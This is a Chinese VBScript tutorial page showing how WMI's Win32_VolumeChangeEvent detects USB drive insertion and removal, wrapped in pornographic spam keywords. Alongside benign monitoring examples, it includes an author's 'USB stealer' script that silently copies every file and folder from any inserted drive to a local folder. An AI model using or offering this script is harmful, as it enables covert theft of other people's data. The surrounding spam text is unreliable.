麻豆小视频在线观看_中文黄色一级片_久久久成人精品_成片免费观看视频大全_午夜精品久久久久久久99热浪潮_成人一区二区三区四区

首頁 > 編程 > VBScript > 正文

用VBS檢測(cè)U盤插入與彈出事件的代碼

2020-07-26 11:51:36
字體:
供稿:網(wǎng)友
可以說,對(duì)WMI的掌握程度的多少直接決定了你的VBS水平高低??催^網(wǎng)上普遍流傳VBS版U盤小偷程序,基本上都是靠無限循環(huán)實(shí)現(xiàn)的,一點(diǎn)技術(shù)含量也沒有,文章的末尾給出了我寫的VBS版U盤小偷程序的下載地址。雖然用WMI也得無限循環(huán),但是效率是不一樣的。

使用WMI的Win32_VolumeChangeEvent類就可以實(shí)現(xiàn),下面是示例代碼,更詳細(xì)的信息請(qǐng)參考MSND文檔。

復(fù)制代碼 代碼如下:

Const Configuration_Changed = 1
Const Device_Arrival = 2
Const Device_Removal = 3
Const Docking = 4
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}!//" _
& strComputer & "/root/cimv2")
Set colMonitoredEvents = objWMIService. _
ExecNotificationQuery( _
"Select * from Win32_VolumeChangeEvent")
Do
Set objLatestEvent = colMonitoredEvents.NextEvent
Select Case objLatestEvent.EventType
Case Device_Arrival
WScript.Echo "U盤插入,盤符為" & _
objLatestEvent.DriveName
Case Device_Removal
WScript.Echo "U盤彈出,盤符為" & _
objLatestEvent.DriveName
End Select
Loop

我也寫了一個(gè)U盤小偷程序,自以為比網(wǎng)上抄來抄去的代碼要好,感興趣的可以下載來看看。
復(fù)制代碼 代碼如下:

'==========================================
'Name : USB_Stealer
'Date : 2010/5/25
'Author : Demon
'Copyright : Copyright (c) 2010 Demon
'E-Mail : [email protected]
'QQ : 380401911
'Website : http://demon.tw
'==========================================
'Option Explicit
On Error Resume Next
Const Target_Folder = "C:/USB"

Call Main()

Sub Main()
On Error Resume Next
Const Device_Arrival = 2
Const Device_Removal = 3
Const strComputer = "."
Dim objWMIService, colMonitoredEvents, objLatestEvent

Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}!//" _
& strComputer & "/root/cimv2")
Set colMonitoredEvents = objWMIService. _
ExecNotificationQuery( _
"Select * from Win32_VolumeChangeEvent")
Do
Set objLatestEvent = colMonitoredEvents.NextEvent
Select Case objLatestEvent.EventType
Case Device_Arrival
Copy_File objLatestEvent.DriveName
End Select
Loop
End Sub

Sub Copy_File(Folder_Path)
On Error Resume Next
Dim fso,file,folder
Set fso = CreateObject("scripting.filesystemobject")

If Not fso.FolderExists(Target_Folder) Then
fso.CreateFolder(Target_Folder)
End If

For Each file In fso.GetFolder(Folder_Path).Files
file.Copy Target_Folder & "/" & file.Name,True
Next

For Each folder In fso.GetFolder(Folder_Path).SubFolders
folder.Copy Target_Folder & "/" & folder.Name,True
Next
End Sub

鑒于很多人反映之前寫的那篇在XP下無效,做了一下修改。說是修改,其實(shí)是直接復(fù)制粘貼腳本專家的代碼。
復(fù)制代碼 代碼如下:

strComputer = "."
Set objWMIService = GetObject("winmgmts://" & strComputer & "/root/cimv2")

Set colEvents = objWMIService.ExecNotificationQuery _
("Select * From __InstanceOperationEvent Within 10 Where " _
& "TargetInstance isa 'Win32_LogicalDisk'")

Do While True
Set objEvent = colEvents.NextEvent
If objEvent.TargetInstance.DriveType = 2 Then
Select Case objEvent.Path_.Class
Case "__InstanceCreationEvent"
Wscript.Echo "Drive " & objEvent.TargetInstance.DeviceId & _
" has been added."
Case "__InstanceDeletionEvent"
Wscript.Echo "Drive " & objEvent.TargetInstance.DeviceId & _
" has been removed."
End Select
End If
Loop

參考鏈接:How Can I Determine When a Removable Drive Gets Connected?
大家應(yīng)該可以看出學(xué)習(xí)vbs的好地方是哪了, 學(xué)習(xí)vbs官方的網(wǎng)站不得不去,武林網(wǎng)很多的vbs相關(guān)的教材都是來自微軟官方的腳本專欄。
原文:http://demon.tw/programming/vbs-usb-insert-remove.html

發(fā)表評(píng)論 共有條評(píng)論
用戶名: 密碼:
驗(yàn)證碼: 匿名發(fā)表
主站蜘蛛池模板: 在线免费av网站 | 日本黄色免费片 | 关键词| 欧美在线a | 久久色伦理资源站 | 国产午夜精品久久久 | 久久精品中文字幕一区二区 | 中文字幕在线播放不卡 | 97人操| 欧美国产一区二区三区激情无套 | 91久久久久久久久久久久久 | 欧美特黄一级高清免费的香蕉 | 天天干干 | 欧美成人精品欧美一级 | 成人18网站 | 毛片免费试看 | 99日韩精品视频 | 性 毛片 | av在线免费播放 | 久久国产精品免费视频 | 精品一区二区久久久久 | 成人av一二三区 | 成人免费在线观看视频 | 91网站在线播放 | 黄色片免费视频 | 羞羞视频免费视频欧美 | 精品一区二区三区在线视频 | 亚洲最新无码中文字幕久久 | 久久欧美亚洲另类专区91大神 | 国产精品午夜未成人免费观看 | 午夜国产小视频 | 久久精品视频12 | 国产一区二区视频在线播放 | 成人精品一区二区三区中文字幕 | 亚洲狠狠入 | 午色影院 | 男男啪羞羞视频网站 | 国产一国产精品一级毛片 | 久久精品网址 | 成人综合在线观看 | 国产成人强伦免费视频网站 |